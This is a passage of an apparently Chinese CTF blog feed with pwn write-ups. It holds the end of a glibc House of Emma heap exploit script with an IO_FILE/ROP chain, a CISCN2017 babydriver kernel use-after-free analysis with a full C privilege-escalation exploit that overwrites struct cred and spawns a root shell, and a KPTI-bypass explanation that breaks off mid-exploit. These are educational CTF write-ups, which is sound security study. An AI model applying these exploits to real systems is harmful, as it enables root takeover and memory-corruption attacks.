class="line">#( v3 &lt;= 0x40Fu || v3 &gt; 0x500u || v2 &gt; 0x10u )</span><br><span class="line">add(0,0x410)</span><br><span class="line">add(1,0x420)</span><br><span class="line">add(2,0x410)</span><br><span class="line">add(3,0x410)</span><br><span class="line">free(1)</span><br><span class="line">add(4,0x500)</span><br><span class="line">show(1)</span><br><span class="line">run()</span><br><span class="line">libc_base = l64() - 0x21a0d0</span><br><span class="line">ph(libc_base)</span><br><span class="line">edit(1,b&#x27;a&#x27;*0x10)</span><br><span class="line">show(1)</span><br><span class="line">run()</span><br><span class="line">ru(b&#x27;a&#x27;*0x10)</span><br><span class="line">heap_base = uu64() - 0x26c0</span><br><span class="line">ph(heap_base)</span><br><span class="line">stderr = libc_base + libc.sym[&#x27;stderr&#x27;]</span><br><span class="line">edit(1,p64(libc_base+0x21a0d0)*2+p64(heap_base+0x26c0)+p64(stderr-0x20))</span><br><span class="line">free(3)</span><br><span class="line">run()</span><br><span class="line">add(5,0x410)</span><br><span class="line">guard = libc_base - 0x2890</span><br><span class="line">edit(1,p64(libc_base+0x21a0d0)*2+p64(heap_base+0x26c0)+p64(guard-0x20))</span><br><span class="line">free(3)</span><br><span class="line">run()</span><br><span class="line">ph(stderr)</span><br><span class="line">ph(guard)</span><br><span class="line">add(6,0x410)</span><br><span class="line">run()</span><br><span class="line">IO_addr = heap_base + 0x26c0</span><br><span class="line">magic = libc_base + 0x00000000001675b0</span><br><span class="line">#IO_cookie_jumps = libc_base + libc.sym[&#x27;_IO_cookie_jumps&#x27;]</span><br><span class="line">IO_cookie_jumps = libc_base + 0x215b80</span><br><span class="line">setcontext = libc_base + libc.sym[&#x27;setcontext&#x27;]</span><br><span class="line">flag_addr = IO_addr + 0x118 + 8</span><br><span class="line">pop_rdi = libc_base + 0x000000000002a3e5</span><br><span class="line">pop_rsi = libc_base + 0x000000000002be51</span><br><span class="line">pop_rdx_r12 = libc_base + 0x000000000011f497</span><br><span class="line">read = libc_base + libc.sym[&#x27;read&#x27;]</span><br><span class="line">write = libc_base + libc.sym[&#x27;write&#x27;]</span><br><span class="line">open = libc_base + libc.sym[&#x27;open&#x27;]</span><br><span class="line">ret = pop_rdi + 1</span><br><span class="line">rop = flat([pop_rdi,flag_addr,pop_rsi,0,pop_rdx_r12,0,0,open])</span><br><span class="line">rop += flat([pop_rdi,3,pop_rsi,heap_base+0x300,pop_rdx_r12,0x50,0,read])</span><br><span class="line">rop += flat([pop_rdi,1,pop_rsi,heap_base+0x300,pop_rdx_r12,0x50,0,write])</span><br><span class="line">IO = flat(</span><br><span class="line">&#123;</span><br><span class="line">0x28 : 0xffffffffffffffff ,</span><br><span class="line">0x88 : heap_base ,</span><br><span class="line">0xd8 : IO_cookie_jumps + 0x40 ,</span><br><span class="line">0xe0 : IO_addr + 0x110 ,</span><br><span class="line">0xe8 : p64(rotate_left_64(magic^(heap_base+0x26c0),0x11))*3 ,</span><br><span class="line">0x118 : IO_addr + 0x118 ,</span><br><span class="line">0x118 + 8 : b&#x27;flag\x00\x00\x00\x00&#x27; ,</span><br><span class="line">0x118 + 0x20 : setcontext + 61 ,</span><br><span class="line">0x118 + 0xa0 : IO_addr + 0x200 ,</span><br><span class="line">0x118 + 0xa8 : ret ,</span><br><span class="line">0x200 : rop ,</span><br><span class="line">&#125;,</span><br><span class="line">filler = b&#x27;\x00&#x27;</span><br><span class="line">)</span><br><span class="line">edit(1,p64(libc_base+0x21a0d0)*2+p64(heap_base+0x26c0)*2)</span><br><span class="line">add(7,0x420)</span><br><span class="line">edit(1,IO[0x10:])</span><br><span class="line">add(8,0x500)</span><br><span class="line">free(8)</span><br><span class="line">add(9,0x418)</span><br><span class="line">run()</span><br><span class="line">edit(8,b&#x27;a&#x27;*0x418+p64(0x300))</span><br><span class="line">run()</span><br><span class="line">GDB(&quot;b *__malloc_assert&quot;)</span><br><span class="line">#GDB(&quot;b *_IO_cookie_write&quot;)</span><br><span class="line">#GDB(&quot;b *(setcontext+61)&quot;)</span><br><span class="line">add(10,0x500)</span><br><span class="line">run()</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure></div><h3 id="参考链接："><a href="#参考链接：" class="headerlink" title="参考链接："></a>参考链接：</h3><p>[<a class="link"   href="https://bbs.kanxue.com/thread-270429.htm#msg_header_h3_6" >原创]【伽玛】第七届“湖湘杯” House _OF _Emma | 设计思路与解析-Pwn-看雪-安全社区|安全招聘|kanxue.com<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p><a class="link"   href="https://www.cnblogs.com/CH13hh/p/18412165" >常回家看看之house_of_emma - CH13hh - 博客园<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p>]]>
    </content>
    <id>https://spacedrag0n-1.github.io/posts/16122.html</id>
    <link href="https://spacedrag0n-1.github.io/posts/16122.html"/>
    <published>2025-08-13T03:54:42.000Z</published>
    <summary>
      <![CDATA[<h1 id="House-of-emma"><a href="#House-of-emma" class="headerlink" title="House of emma"></a>House of emma</h1><p>在 <code>GLibc2.34</code>]]>
    </summary>
    <title>House of emma</title>
    <updated>2025-08-13T03:59:23.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>SpaceDraG0n</name>
    </author>
    <category term="知识分享" scheme="https://spacedrag0n-1.github.io/categories/%E7%9F%A5%E8%AF%86%E5%88%86%E4%BA%AB/"/>
    <category term="Kernel Pwn" scheme="https://spacedrag0n-1.github.io/tags/Kernel-Pwn/"/>
    <content>
      <![CDATA[<h1 id="Kernel-UAF"><a href="#Kernel-UAF" class="headerlink" title="Kernel UAF"></a>Kernel UAF</h1><p><code>UAF</code> 即 <code>Use After Free</code> ，通常指的是对于释放后未重置的垂悬指针利用 。此前在用户态下heap阶段的很多对于 <code>ptmalloc</code> 利用都是基于 <code>UAF</code> 漏洞进行进一步的利用 。</p><p>在 CTF 当中，内核的 “堆内存” 主要指的是直接映射区（direct mapping area），常用的分配函数 <code>kmalloc</code> 从此分配内存，常用的分配器为 <code>slub allocator</code> ，若是在 kernel 中存在垂悬指针，我们同样可以以此完成对 <code>slab/slub</code> 内存分配器的利用，通过 <code>Kernel UAF</code> 完成提权 。</p><h1 id="CISCN2017-babydriver"><a href="#CISCN2017-babydriver" class="headerlink" title="CISCN2017 - babydriver"></a>CISCN2017 - babydriver</h1><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250810194815016.png"                      alt="image-20250720142741181"                ></p><p>题目只给了我们<code> boot.sh</code> 、<code>bzImage</code> 、<code>rootfs.cpio</code> 三个文件</p><p>观察一下  <code>boot.sh</code> 这应该是题目的启动脚本相关的：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250810194847147.png"                      alt="image-20250720142937512"                ></p><p>脚本很正常 ，接下来我们将 <code>rootfs.cpio</code> 文件解包进一步分析 。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">mkdir core</span><br><span class="line">mv rootfs.cpio rootfs.cpio.gz</span><br><span class="line">mv rootfs.cpio.gz core</span><br><span class="line">gunzip rootfs.cpio.gz</span><br><span class="line">cpio -idm &lt; ./rootfs.cpio</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250810194811330.png"                      alt="image-20250720143305801"                ></p><p>观察一下 <code>init</code> 文件：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250810194812449.png"                      alt="image-20250720143340207"                ></p><p>对 flag 文件赋予了root权限 ，其他命令一切正常 ，这里把 .ko 文件保存在了 &#x2F;lib&#x2F;modules&#x2F;4.4.72&#x2F;babydriver.ko 了</p><p>我们用ida打开.ko文件，对其进行一个逆向分析</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250810194813962.png"                      alt="image-20250720143653730"                ></p><p>可以看到总共有这一些函数，我们先来看 init 、exit 函数 ：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250810194815169.png"                      alt="image-20250720143743373"                ></p><p>对 baby_dev 进行了一个初始化</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250810194817215.png"                      alt="image-20250720143903897"                ></p><p>对 baby_dev 进行了一个清理 ，这两个函数都很正常 ，没有什么大问题</p><p>接下来看 open 和 release 函数：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250810194819198.png"                      alt="image-20250720144016803"                ></p><p>创造了一个 0x40 大小的堆块 ，将指针放置在了 babydev_struct.devicve_buf 这个全局变量里面 ，同时将babydev_struct.device_buf_len 设置为 0x40 大小 </p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250810194820865.png"                      alt="image-20250720144318579"                ></p><p>release 则是对该全局变量指向的指针堆块进行一个释放 ，但是释放后没有把指针进行清空，所以存在一个 uaf 漏洞</p><p>接下来分析的是 read 以及 write 函数：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250810194822598.png"                      alt="image-20250720144428638"                ></p><p>read 函数显示检测 len 的长度大小是否小于 babydev_struct.devicve_buf_len ，然后复制  babydev_struct.devicve_buf 里的内容到用户态的 buffer 里面去 </p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250810194823961.png"                      alt="image-20250720144635864"                ></p><p>wrtie 函数是从用户态复制 buffer 到 babydev_struct.devicve_buf 里面去 ，这样可能看得不是很清楚，所以我们可以去看看汇编</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250810194826096.png"                      alt="image-20250720145320892"                ></p><p>发现调用时 rdi 是等于 babydev_struct.devicve_buf 的 ，所以我们的猜想正确</p><p>最后我们看看 ioctl 函数 </p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250810194827639.png"                      alt="image-20250720145853620"                ></p><p>ioctl 函数释放掉了全局变量的堆块指针，同时申请了一个用户自定义大小的堆块，由于程序存在uaf漏洞，所以我们可以直接通过uaf漏洞纂改 struct cred 结构体 ，从而达到提权的目的，下面我直接引用<strong>z1r0</strong>师傅的解题思路：</p><p>这里其实就是个竞争uaf漏洞。也就是说如果我们同时打开两个设备，第二次会覆盖第一次分配的空间，因为 babydev_struct 是全局的。同样，如果释放第一个，那么第二个其实是被是释放过的，这样就造成了一个 UAF。</p><p>初始化两个，释放第一个，再给第一个ioctl到指定的地址，接下来修改第二个其实就是修改的第一个的地址内容。因为存在uaf，重启再用不会清0。</p><p>这里最关键的是buf是全局变量，两个都用的是一个buf，存在竞争。前面说到过提权的方法，可以改cred来进行root提权，这个版本是：4.4.72 ：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">struct cred &#123;</span><br><span class="line">    atomic_t    usage;</span><br><span class="line">#ifdef CONFIG_DEBUG_CREDENTIALS</span><br><span class="line">    atomic_t    subscribers;    /* number of processes subscribed */</span><br><span class="line">    void        *put_addr;</span><br><span class="line">    unsigned    magic;</span><br><span class="line">#define CRED_MAGIC  0x43736564</span><br><span class="line">#define CRED_MAGIC_DEAD 0x44656144</span><br><span class="line">#endif</span><br><span class="line">    kuid_t      uid;        /* real UID of the task */</span><br><span class="line">    kgid_t      gid;        /* real GID of the task */</span><br><span class="line">    kuid_t      suid;       /* saved UID of the task */</span><br><span class="line">    kgid_t      sgid;       /* saved GID of the task */</span><br><span class="line">    kuid_t      euid;       /* effective UID of the task */</span><br><span class="line">    kgid_t      egid;       /* effective GID of the task */</span><br><span class="line">    kuid_t      fsuid;      /* UID for VFS ops */</span><br><span class="line">    kgid_t      fsgid;      /* GID for VFS ops */</span><br><span class="line">    unsigned    securebits; /* SUID-less security management */</span><br><span class="line">    kernel_cap_t    cap_inheritable; /* caps our children can inherit */</span><br><span class="line">    kernel_cap_t    cap_permitted;  /* caps we&#x27;re permitted */</span><br><span class="line">    kernel_cap_t    cap_effective;  /* caps we can actually use */</span><br><span class="line">    kernel_cap_t    cap_bset;   /* capability bounding set */</span><br><span class="line">    kernel_cap_t    cap_ambient;    /* Ambient capability set */</span><br><span class="line">#ifdef CONFIG_KEYS</span><br><span class="line">    unsigned char   jit_keyring;    /* default keyring to attach requested</span><br><span class="line">                     * keys to */</span><br><span class="line">    struct key __rcu *session_keyring; /* keyring inherited over fork */</span><br><span class="line">    struct key  *process_keyring; /* keyring private to this process */</span><br><span class="line">    struct key  *thread_keyring; /* keyring private to this thread */</span><br><span class="line">    struct key  *request_key_auth; /* assumed request_key authority */</span><br><span class="line">#endif</span><br><span class="line">#ifdef CONFIG_SECURITY</span><br><span class="line">    void        *security;  /* subjective LSM security */</span><br><span class="line">#endif</span><br><span class="line">    struct user_struct *user;   /* real user ID subscription */</span><br><span class="line">    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */</span><br><span class="line">    struct group_info *group_info;  /* supplementary groups for euid/fsgid */</span><br><span class="line">    struct rcu_head rcu;        /* RCU deletion hook */</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure></div><p>那么根据 UAF 的思想，思路如下：</p><ol><li>打开两次设备，通过 ioctl 更改其大小为 cred 结构体的大小</li><li>释放其中一个，fork 一个新进程，那么这个新进程的 cred 的空间就会和之前释放的空间重叠</li><li>同时，我们可以通过另一个文件描述符对这块空间写，只需要将 uid，gid 改为 0，即可以实现提权到 root</li></ol><p>需要确定 cred 结构体的大小，有了源码，大小就很好确定了。计算一下是 0xa8（注意使用相同内核版本的源码）。</p><h3 id="EXP："><a href="#EXP：" class="headerlink" title="EXP："></a>EXP：</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">#include&lt;stdio.h&gt;</span><br><span class="line">#include&lt;unistd.h&gt;</span><br><span class="line">#include&lt;stdlib.h&gt;</span><br><span class="line">#include&lt;fcntl.h&gt;</span><br><span class="line">#include&lt;string.h&gt;</span><br><span class="line">#include&lt;sys/types.h&gt;</span><br><span class="line">#include&lt;sys/wait.h&gt;</span><br><span class="line">#include&lt;sys/ioctl.h&gt;</span><br><span class="line">#include&lt;pthread.h&gt;</span><br><span class="line">int main(int argc, char **argv)</span><br><span class="line">&#123;</span><br><span class="line">    int fd1,fd2;</span><br><span class="line">    //开启了两个设备，这两个设备共用一个babydev_struct.device_buf</span><br><span class="line">    fd1 = open(&quot;/dev/babydev&quot;,O_RDWR);</span><br><span class="line">    fd2 = open(&quot;/dev/babydev&quot;,O_RDWR);</span><br><span class="line">    //调用ioctl在babydev_struct.device_buf申请一个struct cred大小的内存</span><br><span class="line">    ioctl(fd1,65537,0xa8);</span><br><span class="line">    //关掉设备fd1，但是由于存在uaf我们的fd2依然可以控制babydev_struct.device_buf</span><br><span class="line">    close(fd1);</span><br><span class="line">    //开启一个新的进程：</span><br><span class="line">    int pid = fork();</span><br><span class="line">    if(pid == 0)&#123;</span><br><span class="line">        puts(&quot;\033[34m\033[1m[*] Process creation successful .\033[0m&quot;);</span><br><span class="line">        char buf[28] = &#123;0&#125;;</span><br><span class="line">        write(fd2,buf,28);</span><br><span class="line">        if(getuid() == 0)&#123;</span><br><span class="line">            puts(&quot;\033[34m\033[1m[*] pwn!!! success ! .\033[0m&quot;);</span><br><span class="line">            // 起一个root shell</span><br><span class="line">            system(&quot;/bin/sh&quot;);</span><br><span class="line">        &#125;else if(pid &lt; 0)&#123;</span><br><span class="line">            puts(&quot;\033[34m\033[1m[*] There were some minor issues.  .\033[0m&quot;);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;else&#123;</span><br><span class="line">        wait(NULL);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    close(fd2);</span><br><span class="line">    return 0;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>编译进core，重新打包启动，运行exp即可提权</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250810194830254.png"                      alt="image-20250720150648147"                ></p><p>提权成功！</p>]]>
    </content>
    <id>https://spacedrag0n-1.github.io/posts/16111.html</id>
    <link href="https://spacedrag0n-1.github.io/posts/16111.html"/>
    <published>2025-08-10T11:44:39.000Z</published>
    <summary>
      <![CDATA[<h1 id="Kernel-UAF"><a href="#Kernel-UAF" class="headerlink" title="Kernel UAF"></a>Kernel UAF</h1><p><code>UAF</code> 即 <code>Use After]]>
    </summary>
    <title>Kernel初识 - Kernel UAF</title>
    <updated>2025-08-10T11:48:49.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>SpaceDraG0n</name>
    </author>
    <category term="知识分享" scheme="https://spacedrag0n-1.github.io/categories/%E7%9F%A5%E8%AF%86%E5%88%86%E4%BA%AB/"/>
    <category term="Kernel Pwn" scheme="https://spacedrag0n-1.github.io/tags/Kernel-Pwn/"/>
    <content>
      <![CDATA[<h1 id="Kernel-ROP-with-KPTI-bypass"><a href="#Kernel-ROP-with-KPTI-bypass" class="headerlink" title="Kernel ROP with KPTI bypass"></a>Kernel ROP with KPTI bypass</h1><ul><li><u>KPTI 相关概念直接引用 CTFwiki</u></li></ul><p><a class="link"   href="https://www.kernel.org/doc/html/latest/x86/pti.html" >KPTI<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a> 即 <code>内核页表隔离</code>（Kernel page-table isolation），内核空间与用户空间分别使用两组不同的页表集，这对于内核的内存管理产生了根本性的变化。</p><p>KPTI 的发明主要是用来修复一个史诗级别的 CPU 硬件漏洞：Meltdown。简单理解就是利用 CPU 流水线设计中（乱序执行与预测执行）的漏洞来获取到用户态无法访问的内核空间的数据，属于侧信道攻击的一种。</p><p><strong>KPTI 同时还令内核页表中属于用户地址空间的部分不再拥有执行权限，这使得 ret2usr 彻底成为过去式</strong> 。</p><p>对于开启了 KPTI（内核页表隔离），我们<strong>不能像之前那样直接 swapgs ; iret 返回用户态</strong>，而是在返回用户态之前还<strong>需要将用户进程的页表给切换回来</strong> 。</p><p>众所周知 Linux 采用<strong>四级页表</strong>结构（PGD-&gt;PUD-&gt;PMD-&gt;PTE），而 CR3 控制寄存器用以存储当前的 PGD 的地址，因此在开启 KPTI 的情况下用户态与内核态之间的切换便涉及到 CR3 的切换，为了提高切换的速度，内核将内核空间的 PGD 与用户空间的 PGD 两张页全局目录表放在一段连续的内存中（两张表，一张一页 4k，总计 8k，内核空间的在低地址，用户空间的在高地址），这样<strong>只需要将 CR3 的第 13 位取反便能完成页表切换的操作</strong></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250810012811282.png"                      alt="image-20250720182541886"                ></p><p>需要进行说明的是，<strong>在这两张页表上都有着对用户内存空间的完整映射，但在用户页表中只映射了少量的内核代码（例如系统调用入口点、中断处理等），而只有在内核页表中才有着对内核内存空间的完整映射，但两张页表都有着对用户内存空间的完整映射</strong>，如下图所示，左侧是未开启 KPTI 后的页表布局，右侧是开启了 KPTI 后的页表布局。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250810012741491.png"                      alt="image-20250720182551250"                ></p><p><strong>KPTI 同时还令内核页表中用户地址空间部分对应的页顶级表项不再拥有执行权限（NX），这使得 ret2usr 彻底成为过去式</strong> 。</p><p>除了在系统调用入口中将用户态页表切换到内核态页表的代码外，内核也相应地在 <code>arch/x86/entry/entry_64.S</code> 中提供了一个用于完成内核态页表切换回到用户态页表的函数 <code>swapgs_restore_regs_and_return_to_usermode</code>，地址可以在 <code>/proc/kallsyms</code> 中获得。</p><p>由于源码的汇编代码编写较为繁重，我们可以通过 IDA 逆向的方式查看其基本汇编逻辑：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250810012737530.png"                      alt="image-20250720182558251"                ></p><p>在实际操作时前面的一些栈操作都可以跳过，直接从 <code>mov rdi, rsp</code> 开始，这个函数大概可以总结为如下操作：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">mov  rdi, cr3</span><br><span class="line">or rdi, 0x1000</span><br><span class="line">mov  cr3, rdi</span><br><span class="line">pop rax</span><br><span class="line">pop rdi</span><br><span class="line">swapgs</span><br><span class="line">iretq</span><br></pre></td></tr></table></figure></div><p>因此我们只需要布置出如下栈布局即可：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">↓   swapgs_restore_regs_and_return_to_usermode</span><br><span class="line">    0 // padding</span><br><span class="line">    0 // padding</span><br><span class="line">    user_shell_addr</span><br><span class="line">    user_cs</span><br><span class="line">    user_rflags</span><br><span class="line">    user_sp</span><br><span class="line">    user_ss</span><br></pre></td></tr></table></figure></div><h2 id="开启KPTI保护"><a href="#开启KPTI保护" class="headerlink" title="开启KPTI保护"></a>开启KPTI保护</h2><p>只需要在内核启动参数 <code>-append</code> 中添加 <code>pti=on</code> 选项以显式开启 KPTI 保护</p><h2 id="例题-：强网杯-2018-core"><a href="#例题-：强网杯-2018-core" class="headerlink" title="例题 ：强网杯 2018 - core"></a>例题 ：强网杯 2018 - core</h2><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250810012739758.png"                      alt="image-20250720183432112"                ></p><p>由于题目刚开始是没有开启 KPTI 保护的 ，所以我们需要手动在启动参数 <code>-append</code> 中添加 <code>pti=on</code> </p><p>然后我们启动程序 ，先观察一下 ，如果开启 KPTI 保护 ，执行我们之前的 exp 会发生什么 </p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250810012741565.png"                      alt="image-20250720183625537"                ></p><p>可以看到运行之前的 exp 直接报错了 ，原因在于我们在内核态的页表中， 用户地址空间部分对应的页顶级表项没有可执行权限 </p><p>因此我们在返回用户态之前还需要先将内核态页表切换回来，这里我们在完成提权后直接使用 <code>swapgs_restore_regs_and_return_to_usermode</code> 函数返回用户态即可，而无需直接手动调用 <code>iretq</code> 指令。</p><p>而<code>swapgs_restore_regs_and_return_to_usermode</code>的地址我们依旧可以通过保存在 tmp&#x2F;kallsyms 的函数地址来进行读取</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250810012743444.png"                      alt="image-20250720184049653"                ></p><p><code>cat /proc/kallsyms | grep &quot;swapgs_restore_regs_and_return_to_usermode&quot;</code></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250810012745930.png"                      alt="image-20250720184434389"                ></p><p>然后我们就得到了这个函数的地址 </p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250810012749226.png"                      alt="image-20250720185055421"                ></p><p>计算偏移 ，这个偏移加上我们在调用exp得到的vmlinux地址就是我们最终的函数地址 </p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/20250810012800865.png"                      alt="image-20250720185256511"                ></p><p>这个是 <code>swapgs_restore_regs_and_return_usermode</code> 函数的汇编代码，可以看到前面有很多 pop ，但是我们实际要从 <code>mov rdi,rsp</code> 开始 ，而这个地方的偏移恰好是在 <code>swapgs_restore_regs_and_return_usermode + 22</code> </p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">↓   swapgs_restore_regs_and_return_to_usermode</span><br><span class="line">    0 // padding</span><br><span class="line">    0 // padding</span><br><span class="line">    user_shell_addr</span><br><span class="line">    user_cs</span><br><span class="line">    user_rflags</span><br><span class="line">    user_sp</span><br><span class="line">    user_ss</span><br></pre></td></tr></table></figure></div><p>这个是我们要布置的栈布局 ，稍微改一下之前的代码就可以了</p><h3 id="EXP："><a href="#EXP：" class="headerlink" title="EXP："></a>EXP：</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br></pre></td><td class="code"><pre><span class="line">#include&lt;stdio.h&gt;</span><br><span class="line">#include&lt;unistd.h&gt;</span><br><span class="line">#include&lt;stdlib.h&gt;</span><br><span class="line">#include&lt;fcntl.h&gt;</span><br><span class="line">#include&lt;string.h&gt;</span><br><span class="line">#include&lt;sys/types.h&gt;</span><br><span class="line">#include&lt;sys/wait.h&gt;</span><br><span class="line">#include&lt;sys/ioctl.h&gt;</span><br><span class="line">#include&lt;pthread.h&gt;</span><br><span class="line">void setoff(int fd,long long size)&#123;</span><br><span class="line">    ioctl(fd,0x6677889c,size);</span><br><span class="line">&#125;</span><br><span class="line">void core_read(int fd,char *buf)&#123;</span><br><span class="line">    ioctl(fd,0x6677889b,buf);</span><br><span class="line">&#125;</span><br><span class="line">void core_copy_func(int fd,long long size)&#123;</span><br><span class="line">    ioctl(fd,0x6677889a,size);</span><br><span class="line">&#125;</span><br><span class="line">size_t user_cs, user_ss, user_rflags, user_sp;</span><br><span class="line"></span><br><span class="line">void save_status(void)</span><br><span class="line">&#123;</span><br><span class="line">    asm volatile (</span><br><span class="line">        &quot;mov 